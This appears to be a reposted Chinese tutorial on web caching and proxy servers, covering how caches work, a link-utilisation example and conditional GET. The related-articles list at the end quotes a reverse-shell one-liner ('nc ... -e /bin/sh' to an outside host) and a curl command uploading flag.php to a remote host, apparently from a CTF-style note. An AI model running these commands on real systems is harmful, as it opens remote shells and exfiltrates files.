【计算机网络笔记】Web缓存/代理服务器技术

news2024/11/28 12:32:10

系列文章目录

什么是计算机网络?
什么是网络协议?
计算机网络的结构
数据交换之电路交换
数据交换之报文交换和分组交换
分组交换 vs 电路交换
计算机网络性能(1)——速率、带宽、延迟
计算机网络性能(2)——时延带宽积、丢包率、吞吐量/率
计算机网络体系结构概念
OSI参考模型基本概念
OSI参考模型中非端-端层(物理层、数据链路层、网络层)功能介绍
OSI参考模型中端-端层(传输层、会话层、表示层、应用层)功能介绍
TCP/IP参考模型基本概念,包括五层参考模型
网络应用的体系结构
网络应用进程通信
网络应用对传输服务的需求
Web应用之HTTP协议(涉及HTTP连接类型和HTTP消息格式)
Cookie技术


  • 系列文章目录
  • 功能
  • Web缓存/代理服务器技术解决了什么问题?
  • 如何实现?
  • 示例
  • 条件性GET方法


功能

Web缓存/代理服务器技术能够在不访问服务器的前提下满足客户端的HTTP请求

也就是说如果我们有一个代理服务器,那我们上网看到的页面可能都不是原服务器提供的,而是由代理服务器提供。

Web缓存/代理服务器技术解决了什么问题?

那为什么要发明这种技术?是为了解决性能上的问题。前面的cookie是解决功能上的问题。也就是说,cookie实现了新的功能,而Web缓存/代理服务器技术是优化了性能。那它能够改善哪些性能呢?

  • 缩短客户请求的响应时间。用户的感觉就是网速快。
  • 减少机构/组织的流量。
  • 在大范围内(Internet)实现有效的内容分发。

如何实现?

结构如下:
在这里插入图片描述

在客户和服务器之间架设代理服务器,然后用户设定浏览器访问缓存或代理服务器。也就是说浏览器的所有请求都发给了缓存/代理服务器,而不是直接发给原始服务器。那这里就有两种情况:

  • 如果缓存/代理服务器中有用户所请求的对象,那就直接返回了;
  • 如果没有,缓存/代理服务器就向原始服务器发送HTTP 请求,获取对象,然后把返回给客户端同时保存该对象。

所以缓存/代理服务器既充当客户端,也充当服务器

缓存/代理服务器一般由组织或ISP(Internet服务提供商)来架设。

示例

在这里插入图片描述

机构内部有一个局域网,速率是10Mbps,机构的局域网接入互联网,速率是1.5Mbps,原始服务器都在互联网上。

假定:

  • 对象的平均大小=100,000比特(100KB)
  • 机构网络中的浏览器平均每秒有15个到原始服务器的请求
  • 从机构路由器到原始服务器的往返延迟=2秒

网络性能分析:

  • 每秒有15个请求,每个请求的对象大小是100KB,那一秒的总的请求消息大小是15*100KB=1.5MB

  • 局域网(LAN)的利用率=15%(1.5/10)。

  • 接入互联网的链路的利用率=100%(1.5/1.5)。当一条链路的利用率接近100%一位着巨大的时间延迟。

  • 总的延迟 = 互联网上的延迟+访问延迟+局域网 延迟

    ​ =2秒+几分钟+几微秒

可以看到这种情况下的时间延迟是非常大的。

解决方法有:

  1. 花钱升级及机构局域网接入互联网的带宽,从1.5Mbps升级为10Mbps。问题是成本太高。

  2. 尝试Web缓存或代理服务器。在机构内部增加一个缓存/代理服务器。假定缓存命中率是0.4。

    网络性能分析:

    • 40%的请求立刻得到满足
    • 60%的请求通过原始服务器满足
    • 接入互联网的链路的利用率下降到60%,从而 其延迟可以忽略不计,例如10微秒
    • 总的平均延迟=互联网上的延迟+访问延迟+局 域网延迟=0.6×2.01秒+0.4×n微秒 < 1.4

问题是如何保证代理服务器和原始服务器的数据是否是一致的。这个靠HTTP里的条件性GET方法。

条件性GET方法

目标:如果缓存/代理服务器有最新的版本,则不需要发送请求对象。

那怎么做呢?

缓存/代理服务器在HTTP请求消息中声明所持有版本的日期。服务器收到之后进行检查,如果如果缓存的版本是最新的,则响应消息中不包含对象,并且响应状态码为304代表没有改变;如果改了就把新的对象发给他,并放回200状态码。

这样意味着当客户访问缓存的时候,缓存有必要利用条件性GET方法向服务器发起请求,当没有发生改变的时候就节省了带宽。这样就解决了前面提到的内容是不是最新、是不是一

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1146019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

echarts 按需加载处理

下载内容 npm install echarts --save按需封装组件 // 引入 echarts 核心模块&#xff0c;核心模块提供了 echarts 使用必须要的接口。 import * as echarts from echarts/core; import echarts/lib/component/legend// 引入柱状图图表&#xff0c;图表后缀都为 Chart // 引入…

HarmonyOS鸿蒙原生应用开发设计- 图标库

HarmonyOS设计文档中&#xff0c;为大家提供了独特的图标库&#xff0c;开发者可以根据需要直接引用。 图标库可以分为双色图标、填充图标、线性图标。具体分为 键盘、箭头、连接状态、媒体、人、设备、索引、通信、文件、物体与工具等。 整体分类 开发者直接使用官方提供的图标…

杂牌行车记录仪mp4恢复案例

行车记录仪是一种常见的视频采集设备&#xff0c;随着国内汽车市场的疯涨而普及&#xff0c;基本上每个车上都有&#xff0c;这一类记录仪有的是主机厂自带的&#xff08;如特斯拉&#xff09;&#xff0c;但更多的是第三方厂商生产的独立的记录仪。下面我们看一个小厂商的记录…

测开 (性能测试)

目录 前言 1、性能测试和功能测试的区别 2、性能好与不好的表现 3、性能测试衡量指标 && 名称解释 指标一&#xff1a;并发用户数 指标二&#xff1a;响应时间 / 平均响应时间 指标三&#xff1a;事务 指标四&#xff1a;点击率&#xff08;Hit Per Second&…

HLS直播协议详解

文章目录 前言一、HLS 协议简介二、HLS 总体框架三、HLS 优势及劣势四、HLS 主要的应用场景五、M3U8 详解1、简介2、一级 m3u83、二级 m3u84、tag 说明①、名词说明②、tag 分类1&#xff09;Basic Tags2&#xff09;Media Segment Tags3&#xff09;Media Playlist Tags4&…

C++单调向量算法应用:所有子数组中不平衡数字之和

涉及知识点 单调向量 题目 一个长度为 n 下标从 0 开始的整数数组 arr 的 不平衡数字 定义为&#xff0c;在 sarr sorted(arr) 数组中&#xff0c;满足以下条件的下标数目&#xff1a; 0 < i < n - 1 &#xff0c;和 sarr[i1] - sarr[i] > 1 这里&#xff0c;sort…

OSPF,RIP和BGP的路由汇总

OSPF路由汇总 OSPF的路由汇总需要注意以下两点 1.OSPF的路由汇总仅支持手动汇总 注&#xff1a;距离矢量路由协议支持自动路由汇总&#xff0c;链路状态路由协议仅支持手动路由汇总&#xff08;OSPF,ISIS&#xff09; 2.OSPF的路由汇总只在区域边界进行汇总 OSPF的路由汇总…

反弹shell和DNS外带

反弹shell讲解 system("nc s546459d57.zicp.fun 23494 -e /bin/sh"); rce无回显&#xff0c;反弹shell详解 DNS外带&#xff1a; curl -X POST -F xxflag.php http://aaa 从目标网站以POST方式向http://aaa上传一个文件&#xff0c;名字叫xx 文件内容是flag.php/…

基于深度学习的行人属性辨识研究

收藏和点赞&#xff0c;您的关注是我创作的动力 文章目录 概要 一、 实验设计与结果分析3.1 CACD数据集及图像预处理 二、行人属性识别4.2 系统开发环境4.3 功能模块实现4.3.1 图像采集模块结 论 概要 本文提供了一个采用更多消耗函数方法的网络模式,将交叉熵损耗函数和经过修…

IOC课程整理-9

0 总览 1. Spring Bean 元信息配置阶段 2. Spring Bean 元信息解析阶段 3. Spring Bean 注册阶段 4. Spring BeanDefinition 合并阶段 5. Spring Bean Class 加载阶段 6. Spring Bean 实例化前阶段 InstantiationAwareBeanPostProcessor#postProcessBeforeInstantiation 若返回…

实战经验分享FastAPI 是什么

FastAPI 是什么&#xff1f;FastAPI实战经验分享 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7e9e23e6fe3444238413d91f37064b65.png](https://fastapi.tiangolo.com/) FastAPI 是一个先进、高效的 Python Web 框架&#xff0c;专门用于构建基于 Python 的 API。它是…

【扩散模型】HuggingFace Diffusers实战

HuggingFace Diffusers实战 1. 环境准备2. DreamBooth2.1 Stable Diffusion简介2.2 DreamBooth 3. Diffusers核心API4. 实战&#xff1a;生成美丽的蝴蝶图像4.1 下载数据集4.2 调度器4.3 定义扩散模型4.4 创建扩散模型训练循环4.5 图像的生成方法1.建立一个管线方法2.写一个采样…

python:使用Scikit-image对遥感影像进行小波变换特征提取(wavelet)

作者:CSDN @ _养乐多_ 在本博客中,我们将介绍如何使用Scikit-image库进行单波段遥感图像的特征提取,重点关注小波变换方法,特别是Gabor滤波器。我们将详细解释代码中的参数以及如何调整它们以满足不同需求。 小波变换是一种数学工具,用于将信号分解成不同尺度和频率的成…

CAN协议详解

1.CAN 协议概述 简介 CAN 是控制器局域网络 (Controller Area Network) 的简称&#xff0c;它是由研发和生产汽车电子产品著称的德国 BOSCH 公司开发的&#xff0c;并最终成为国际标准(ISO11519以及ISO11898),是国际上应用最广泛的现场总线之一。是一种串行的差分总线&#x…

TLSF——一种高效的内存池实现

Arena 起源于计算内核关于堆内存使用的相关优化。 系统调用分配和回收内存的开销较大&#xff0c;一个优化是预先通过系统调用分配一大块内存&#xff0c;然后每次内存使用从大块内存中切出一小份内存使用。 Arena用于维护大块内存切分出来的大量小块内存&#xff0c;达到高效…

网站不被谷歌收录的常见原因及解决办法

现如今的互联网中&#xff0c;流量获取的渠道多种多样&#xff0c;但对于独立站而言&#xff0c;Google仍然是一个重要的流量来源。这是因为Google拥有庞大的用户基础&#xff0c;通过Google可以让潜在用户更容易发现我们的网站。然而&#xff0c;现实情况是&#xff0c;一些网…

STM32 — PWM介绍和使用PWM实现呼吸灯效果

目录 PWM介绍 PWM输出模式&#xff1a; PWM占空比&#xff1a; PWM周期与频率公式&#xff1a; 使用PWM点亮LED灯实现呼吸灯效果 1. 在 SYS 选项里&#xff0c;将 Debug 设为 Serial Wire​编辑 2. 将 RCC 里的 HSE 设置为 Crystal/Ceramic Resonator 3. 时钟配置 4.配…

信息系统项目管理师教程 第四版【第3章-信息系统治理-思维导图】

信息系统项目管理师教程 第四版【第3章-信息系统治理-思维导图】

信息系统项目管理师教程 第四版【第2章-信息技术发展-思维导图】

信息系统项目管理师教程 第四版【第2章-信息技术发展-思维导图】

视频格式高效转换:MP4视频批量转MKV格式的方法

随着数字媒体技术的不断发展&#xff0c;视频格式转换已经成为了我们日常工作中不可或缺的一部分。不同的视频格式适用于不同的场景和设备&#xff0c;因此将视频从一种格式转换为另一种格式往往是我们必须完成的任务。在本文中&#xff0c;我们将重点介绍如何运用云炫AI智剪高…